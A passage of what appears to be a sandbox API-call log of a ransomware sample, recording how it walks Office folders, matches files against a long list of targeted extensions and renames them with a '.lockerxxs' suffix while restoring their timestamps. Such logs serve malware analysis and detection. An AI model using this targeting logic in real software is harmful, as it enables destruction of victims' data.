lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_M.VSD.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_m.vsd.lockerxxs")) returned 1 [0066.801] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.802] CloseHandle (hObject=0x90) returned 1 [0066.802] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_U.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_u.vsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_U.VSD.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_u.vsd.lockerxxs")) returned 1 [0066.813] lstrcmpA (lpString1=".", lpString2="XLSTART") returned -1 [0066.813] lstrcmpA (lpString1="..", lpString2="XLSTART") returned -1 [0066.813] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.813] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.814] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.814] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.814] lstrcmpA (lpString1=".", lpString2="Stationery") returned -1 [0066.814] lstrcmpA (lpString1="..", lpString2="Stationery") returned -1 [0066.814] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0066.815] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.816] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.816] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.816] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0066.816] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0066.816] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0066.818] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.818] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.818] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.820] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.820] CloseHandle (hObject=0x8c) returned 1 [0066.821] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\", lpString2="CURRENCY.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" [0066.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.ems") returned 0 [0066.821] lstrlenA (lpString="*.ems") returned 5 [0066.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.db") returned 0 [0066.821] lstrlenA (lpString="*.db") returned 4 [0066.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.dbf") returned 0 [0066.821] lstrlenA (lpString="*.dbf") returned 5 [0066.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.myox") returned 0 [0066.821] lstrlenA (lpString="*.myox") returned 6 [0066.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.myo") returned 0 [0066.821] lstrlenA (lpString="*.myo") returned 5 [0066.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qbw") returned 0 [0066.821] lstrlenA (lpString="*.qbw") returned 5 [0066.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qbb") returned 0 [0066.821] lstrlenA (lpString="*.qbb") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qbm") returned 0 [0066.822] lstrlenA (lpString="*.qbm") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qbo") returned 0 [0066.822] lstrlenA (lpString="*.qbo") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qbx") returned 0 [0066.822] lstrlenA (lpString="*.qbx") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qba") returned 0 [0066.822] lstrlenA (lpString="*.qba") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qby") returned 0 [0066.822] lstrlenA (lpString="*.qby") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qbj") returned 0 [0066.822] lstrlenA (lpString="*.qbj") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.ofx") returned 0 [0066.822] lstrlenA (lpString="*.ofx") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.qif") returned 0 [0066.822] lstrlenA (lpString="*.qif") returned 5 [0066.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mye") returned 0 [0066.822] lstrlenA (lpString="*.mye") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mbox") returned 0 [0066.823] lstrlenA (lpString="*.mbox") returned 6 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.eml") returned 0 [0066.823] lstrlenA (lpString="*.eml") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.pst") returned 0 [0066.823] lstrlenA (lpString="*.pst") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.ost") returned 0 [0066.823] lstrlenA (lpString="*.ost") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.idx") returned 0 [0066.823] lstrlenA (lpString="*.idx") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.dbx") returned 0 [0066.823] lstrlenA (lpString="*.dbx") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.sql") returned 0 [0066.823] lstrlenA (lpString="*.sql") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mdb") returned 0 [0066.823] lstrlenA (lpString="*.mdb") returned 5 [0066.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.fdb") returned 0 [0066.823] lstrlenA (lpString="*.fdb") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.wab") returned 0 [0066.824] lstrlenA (lpString="*.wab") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.dat") returned 0 [0066.824] lstrlenA (lpString="*.dat") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.txt") returned 0 [0066.824] lstrlenA (lpString="*.txt") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.jpeg") returned 0 [0066.824] lstrlenA (lpString="*.jpeg") returned 6 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.jpg") returned 0 [0066.824] lstrlenA (lpString="*.jpg") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.png") returned 0 [0066.824] lstrlenA (lpString="*.png") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.php") returned 0 [0066.824] lstrlenA (lpString="*.php") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.cs") returned 0 [0066.824] lstrlenA (lpString="*.cs") returned 4 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.cpp") returned 0 [0066.824] lstrlenA (lpString="*.cpp") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.rar") returned 0 [0066.824] lstrlenA (lpString="*.rar") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.zip") returned 0 [0066.824] lstrlenA (lpString="*.zip") returned 5 [0066.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.html") returned 0 [0066.825] lstrlenA (lpString="*.html") returned 6 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.htm") returned 0 [0066.825] lstrlenA (lpString="*.htm") returned 5 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.xlsx") returned 0 [0066.825] lstrlenA (lpString="*.xlsx") returned 6 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.xls") returned 0 [0066.825] lstrlenA (lpString="*.xls") returned 5 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mp4") returned 0 [0066.825] lstrlenA (lpString="*.mp4") returned 5 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.ppt") returned 0 [0066.825] lstrlenA (lpString="*.ppt") returned 5 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.pptx") returned 0 [0066.825] lstrlenA (lpString="*.pptx") returned 6 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.doc") returned 0 [0066.825] lstrlenA (lpString="*.doc") returned 5 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.dot") returned 0 [0066.825] lstrlenA (lpString="*.dot") returned 5 [0066.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.docx") returned 0 [0066.826] lstrlenA (lpString="*.docx") returned 6 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.7z") returned 0 [0066.826] lstrlenA (lpString="*.7z") returned 4 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.tar") returned 0 [0066.826] lstrlenA (lpString="*.tar") returned 5 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.bz2") returned 0 [0066.826] lstrlenA (lpString="*.bz2") returned 5 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.gz") returned 0 [0066.826] lstrlenA (lpString="*.gz") returned 4 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mkv") returned 0 [0066.826] lstrlenA (lpString="*.mkv") returned 5 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.eml") returned 0 [0066.826] lstrlenA (lpString="*.eml") returned 5 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.msg") returned 0 [0066.826] lstrlenA (lpString="*.msg") returned 5 [0066.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.edb") returned 0 [0066.826] lstrlenA (lpString="*.edb") returned 5 [0066.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.accdb") returned 0 [0066.827] lstrlenA (lpString="*.accdb") returned 7 [0066.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.odb") returned 0 [0066.827] lstrlenA (lpString="*.odb") returned 5 [0066.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.java") returned 0 [0066.827] lstrlenA (lpString="*.java") returned 6 [0066.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.asm") returned 0 [0066.827] lstrlenA (lpString="*.asm") returned 5 [0066.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.pfx") returned 0 [0066.827] lstrlenA (lpString="*.pfx") returned 5 [0066.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.pem") returned 0 [0066.827] lstrlenA (lpString="*.pem") returned 5 [0066.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.p12") returned 0 [0066.828] lstrlenA (lpString="*.p12") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.gpg") returned 0 [0066.828] lstrlenA (lpString="*.gpg") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.vsd") returned 0 [0066.828] lstrlenA (lpString="*.vsd") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.odg") returned 0 [0066.828] lstrlenA (lpString="*.odg") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.raw") returned 0 [0066.828] lstrlenA (lpString="*.raw") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.nef") returned 0 [0066.828] lstrlenA (lpString="*.nef") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.svg") returned 0 [0066.828] lstrlenA (lpString="*.svg") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.psd") returned 0 [0066.828] lstrlenA (lpString="*.psd") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.vmx") returned 0 [0066.828] lstrlenA (lpString="*.vmx") returned 5 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.vmdk") returned 0 [0066.828] lstrlenA (lpString="*.vmdk") returned 6 [0066.828] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.vdi") returned 0 [0066.829] lstrlenA (lpString="*.vdi") returned 5 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.lay6") returned 0 [0066.829] lstrlenA (lpString="*.lay6") returned 6 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mpeg") returned 0 [0066.829] lstrlenA (lpString="*.mpeg") returned 6 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.djvu") returned 0 [0066.829] lstrlenA (lpString="*.djvu") returned 6 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.tiff") returned 0 [0066.829] lstrlenA (lpString="*.tiff") returned 6 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.backup") returned 0 [0066.829] lstrlenA (lpString="*.backup") returned 8 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.pdf") returned 0 [0066.829] lstrlenA (lpString="*.pdf") returned 5 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.cert") returned 0 [0066.829] lstrlenA (lpString="*.cert") returned 6 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.docm") returned 0 [0066.829] lstrlenA (lpString="*.docm") returned 6 [0066.829] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.xlsm") returned 0 [0066.830] lstrlenA (lpString="*.xlsm") returned 6 [0066.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.dwg") returned 0 [0066.830] lstrlenA (lpString="*.dwg") returned 5 [0066.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.nd") returned 0 [0066.830] lstrlenA (lpString="*.nd") returned 4 [0066.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.tlg") returned 0 [0066.830] lstrlenA (lpString="*.tlg") returned 5 [0066.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.lgb") returned 0 [0066.830] lstrlenA (lpString="*.lgb") returned 5 [0066.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mov") returned 0 [0066.830] lstrlenA (lpString="*.mov") returned 5 [0066.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.xdw") returned 0 [0066.830] lstrlenA (lpString="*.xdw") returned 5 [0066.830] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.ods") returned 0 [0066.830] lstrlenA (lpString="*.ods") returned 5 [0066.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.wav") returned 0 [0066.831] lstrlenA (lpString="*.wav") returned 5 [0066.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.mp3") returned 0 [0066.831] lstrlenA (lpString="*.mp3") returned 5 [0066.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.aiff") returned 0 [0066.831] lstrlenA (lpString="*.aiff") returned 6 [0066.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.flac") returned 0 [0066.831] lstrlenA (lpString="*.flac") returned 6 [0066.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.m4a") returned 0 [0066.831] lstrlenA (lpString="*.m4a") returned 5 [0066.831] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", pszSpec="*.csv") returned 0 [0066.831] lstrlenA (lpString="*.csv") returned 5 [0066.834] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.834] CloseHandle (hObject=0x8c) returned 1 [0066.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm.lockerxxs")) returned 1 [0066.837] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.837] CloseHandle (hObject=0x8c) returned 1 [0066.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm.lockerxxs")) returned 1 [0066.841] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.842] CloseHandle (hObject=0x8c) returned 1 [0066.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm.lockerxxs")) returned 1 [0066.848] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.848] CloseHandle (hObject=0x8c) returned 1 [0066.848] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm.lockerxxs")) returned 1 [0066.851] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.852] CloseHandle (hObject=0x8c) returned 1 [0066.852] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm.lockerxxs")) returned 1 [0066.855] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.855] CloseHandle (hObject=0x8c) returned 1 [0066.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg.lockerxxs")) returned 1 [0066.858] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.858] CloseHandle (hObject=0x8c) returned 1 [0066.859] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm.lockerxxs")) returned 1 [0066.862] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.862] CloseHandle (hObject=0x8c) returned 1 [0066.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm.lockerxxs")) returned 1 [0066.865] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.865] CloseHandle (hObject=0x8c) returned 1 [0066.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm.lockerxxs")) returned 1 [0066.868] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.868] CloseHandle (hObject=0x8c) returned 1 [0066.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 